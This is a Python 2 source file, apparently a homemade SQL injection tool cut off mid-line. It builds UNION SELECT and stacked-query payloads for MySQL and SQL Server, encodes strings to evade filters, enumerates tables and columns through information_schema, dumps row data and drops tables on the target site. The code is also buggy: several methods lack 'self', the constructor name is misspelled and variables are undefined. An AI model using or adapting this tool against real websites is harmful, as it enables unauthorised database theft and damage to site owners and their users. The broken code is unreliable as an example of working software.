#!/usr/bin/python
import socket
import socks
import urllib
import re
import sys
from optparse import OptionParser
import webbrowser
import time
from copy import copy
#http = httplib2.Http()
def txt2hex(txt):
chars = list(txt)
hex_str = hex(ord(chars[0]))
for char in chars[1:]:
hex_str += hex(ord(char))[2:]
return hex_str
class HTTPRequest(urllib.FancyURLopener):
"""
Headers:
__init__() accepts a dict of headers as argument and appends them to addheaders
Use the list addheaders to manage headers (append,remove,pop...)
Request:
To make the HTTP request, do request(url).
Default method is GET. To do POST, use request(url, data) where data is a dict. It will automatically add the "Content-type: application/x-www-form-urlencoded" header.
request() returns a tuple with (fileobject, returned_headers)
"""
def __init___(self, headers={}, debug=1):
import httplib
httplib.HTTPConnection.debuglevel = debug
#self.version = "Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4"
self.version = "Mozilla/5.0"
self.addheaders.extend(headers.items())
urllib.FancyURLOpener.__init__(self)
def request(self, url, data={}, return_type=''):
data = urllib.urlencode(data)
if not url[:7] == "http://":
url = "http://"+url
fp = self.open(url, data)
returned_headers = fp.info().items()
if return_type == 'fp':
return fp, returned_headers
else:
return fp.read(), returned_headers
class Machine:
def __init__(self, url, server_type, regex, n_columns, i_column, injection_end=''):
self.url = url
self.server_type = server_type
self.regex = regex
self.n_columns = n_columns
self.i_column = i_column
self.injection_end = injection_end
#self.separator = '*@:@*'
self.separator = '@'
self.temporary_table = 'fooo'
self.http = HTTPRequest()
def get_query_result(column='', table='', where=''):
columns = [str(x) for x in range(1,self.n_columns+1)]
if column:
columns[self.i_column-1] = column
if self.server_type == 'mysql':
#todo: do a loop here and use limit to get all results
inj = get_union_injection_string(columns, table)
if self.server_type == 'sqlserver':
valid_column = columns[self.i_column -1]
inj = ';BEGIN'
inj += '+DECLARE+@ret+varchar(8000)'
inj += '+SET+@ret=char(64)'
inj += '+SELECT+@ret=@ret%2B' + valid_column + '%2B' + self.encrypt(self.separator) + '+FROM+' + table + '+WHERE+' + valid_column + '>@ret'
inj += '+SELECT+@ret+AS+ret+INTO+' + self.temporary_table;
inj += '+END;' + self.injection_end
if self.temporary_table:
# drop temporary talble
self.http.request(self.url + ';DROP+TABLE+' + self.temporary_table + self.injection_end)
self.http.request(self.url+inj)
columns = [str(x) for x in range(1,self.n_columns+1)]
columns[self.i_column-1] = '*'
inj = get_union_injection_string(columns, table)
page = self.http.request(self.url + inj)[0]
result = re.search(self.regex, page)
if result:
query_result = result.groups()[0]
data = parse_query_result(query_result)
print data
def get_union_injection_string(self, columns, table, where=''):
columns_string = ','.join(columns)
inj = '+UNION+SELECT+' + columns + '+FROM+' + table + self.injection_end
return inj
def encrypt(self, string):
if self.server_type == 'mysql':
encripted = '0x'
for char in list(string):
encripted += hex(ord(char))[2:]
if self.server_type == 'sqlserver':
encripted = '%2B'.join(['CHAR(%d)' % ord(char) for char in string])
return encripted
def concat(self, words):
if self.server_type == 'mysql':
s = 'CONCAT' + ','.join(words) + ')'
if self.server_type == 'sqlserver':
s = '%2B'.join(words)
return s
def parse_query_result(self, string):
query_result = string.split(self.separator)
valid_columns = copy(columns_list)
valid_columns.remove(self.encrypt(self.separator))
data = []
"""
if self.server_type == 'mysql':
data[0] = {}
for i in range(len(query_result)):
value = query_result[i]
column_name = valid_columns[i]
data[0][column_name] = value
"""
#elif self.server_type == 'sqlserver':
row = 0
for i in range(len(query_result)):
if not row % len(valid_columns):
row+=1
data[row] = {}
data[row][column_name] = value
return data
def get_tables(self, limit=None, start_row=0):
i = start_row
self.tables = []
columns_list = ['table_schema', self.encrypt(self.separator), 'table_name']
inj = self.injection_string(self.concat(columns_list), 'information_schema.tables')
if self.server_type == 'sqlserver':
self.drop_temporary_table()
self.http.request(self.url+inj)
page = self.get_temporary_table()
result = re.search(self.regex, page)
if result:
query_result = result.groups()[0]
data = parse_query_result(query_result)
print data
else:
print page,'xx'
"""while 1:
if i == limit: return self.tables
page = self.http.request(self.url+inj)[0]
result = re.search(self.regex, page)
if result:
string = result.groups()[0]
data = string.split(self.separator)
valid_columns = copy(columns_list)
valid_columns.remove(self.encrypt(self.separator))
query_result = {}
for i in range(len(data)):
value = data[i]
column_name = valid_columns[i]
query_result[column_name] = value
print query_result
else:
break
i += 1"""
def get_columns(table, limit=None, start_row=0):
i = 0
columns = []
inj = '+union+select+1,table_name%%2Bchar(58)%%2Bcolumn_name,3,4,5,6,7+from+information_schema.columns+where+table_name=%s+and+column_name+not+in+(char(44)@@@@)--' % encrypt(table)
while 1:
if i == limit: return columns
row_i = start_row + i
r = ''
if columns:
r = ','+','.join([encrypt(x) for x in [c.split(':')[1] for c in columns]])
resp, page = http.request(url+inj.replace('@@@@',r), headers={'Cookie':cookie})
result = re.search(regex, page)
if result:
column = result.groups()[0]
if column in columns:
return columns
columns.append(column)
else:
return columns
i += 1
def get_data(table, columns, limit=None, start_row=0):
warned = 0
i = 0
rows = {}
sep = '@@@'
columns2 = []
for c in columns:
columns2.append('CAST(%s+AS+varchar)'%c)
cols_name = 'CAST('+ ('%%2B%s%%2B'%encrypt(sep, 0)).join(columns2) +'+AS+varchar)'
inj = '+union+select+1,%s,3,4,5,6,7+from+%s--' % (cols_name, table)
while 1:
if i == limit: return rows
row_i = start_row + i
resp, page = http.request(url+inj.r